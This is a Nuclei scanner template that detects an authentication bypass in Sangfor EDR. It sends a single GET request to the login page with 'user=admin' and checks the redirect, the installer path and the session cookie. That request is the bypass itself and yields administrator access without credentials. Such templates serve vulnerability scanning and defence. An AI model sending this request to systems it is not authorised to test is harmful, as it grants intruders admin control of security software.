nuclei-templates/vulnerabilities/other/sangfor-edr-auth-bypass.yaml

30 lines
602 B
YAML

id: sangfor-edr-auth-bypass
info:
name: Sangfor EDR Authentication Bypass
author: princechaddha
severity: high
tags: sangfor,auth-bypass
requests:
- method: GET
path:
- "{{BaseURL}}/ui/login.php?user=admin"
matchers-condition: and
matchers:
- type: status
status:
- 302
- type: word
words:
- "/download/edr_installer_"
part: body
- type: word
words:
- 'Set-Cookie=""'
part: header
negative: true
- type: word
words:
- 'Set-Cookie='
part: header